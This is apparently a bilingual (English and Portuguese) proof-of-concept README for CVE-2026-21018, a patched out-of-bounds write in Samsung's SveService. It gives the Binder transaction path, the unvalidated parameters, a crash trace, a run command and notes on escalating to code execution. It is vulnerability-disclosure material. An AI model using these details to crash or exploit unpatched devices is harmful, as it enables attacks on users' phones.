
A minimal PoC for CVE-2026-21018, demonstrating how it works
Samsung SMR May 2026
SVE-2026-0478(CVE-2026-21018)
Affected versions: Android 14, 15, 16
Disclosure status: Privately disclosed
Out-of-bounds write in SveService prior to SMR May-2026 Release 1 allows local privileged attackers to execute arbitrary code.
The patch adds proper input validation.
Buffer overflow vulnerability in the system service SveService (com.sec.sve) on Samsung devices running Android 16. The service runs as system (UID 1000) and is accessible without any special permission via Binder.
| Component | Role | Version |
|---|---|---|
sveservice.apk | Android service | API 36 |
libsvejni.so | Native ARM64 library | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
In sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), the parameters i18, i19, i20 (received from AIDL as i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) are passed directly to memset, sub sp, sp, xN (alloca), and memcpy with no size validation.
Similar functions (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validate with cmp w20, #0x1e; b.gt (rejecting > 30 bytes). SetCodecInfo does not validate at all.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
cd poc
./build_and_run.sh
Expected output:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() via app_process works as shell UID.signatureOrSystem permission is NOT enforced — the service is registered via ServiceManager.addService() directly, bypassing Android's permission mechanism.memset with 0xFFFFFFFF always crashes. RCE would require an address leak + ROP (PAC absent on SM-A175F).Vulnerabilidade de buffer overflow no serviço de sistema SveService (com.sec.sve) em dispositivos Samsung com Android 16. O serviço roda como system (UID 1000) e é acessível sem qualquer permissão especial via Binder.
| Componente | Papel | Versão |
|---|---|---|
sveservice.apk | Serviço Android | API 36 |
libsvejni.so | Biblioteca nativa ARM64 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
Na função sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), os parâmetros i18, i19, i20 (recebidos da AIDL como i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) são usados diretamente como argumentos para memset, sub sp, sp, xN (alloca) e memcpy sem qualquer validação de tamanho.
Outras funções similares (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validam com cmp w20, #0x1e; b.gt (rejeitam > 30 bytes). SetCodecInfo não valida nada.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)cd poc
./build_and_run.sh
Saída esperada:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() via app_process funciona com UID shell.signatureOrSystem NÃO é aplicada — o serviço é registrado via ServiceManager.addService() diretamente, bypassando o permission check.memset com 0xFFFFFFFF sempre crasha. RCE precisaria de leak de endereço + ROP (PAC ausente no SM-A175F).| Operation | Value | Effect |
|---|
(i18 + 15) & ~15 | 0 | Allocates 0 bytes |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Attempts to zero 4 GB → SIGSEGV |
sxtw(i18) for memcpy | 0xFFFFFFFFFFFFFFFF | Sign-extend of -1 → ~18 exabytes |
| Operação | Valor | Efeito |
|---|
(i18 + 15) & ~15 | 0 | Alloca 0 bytes |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Tenta zerar 4 GB → SIGSEGV |
sxtw(i18) para memcpy | 0xFFFFFFFFFFFFFFFF | Sign-extend de -1 → ~18 exabytes |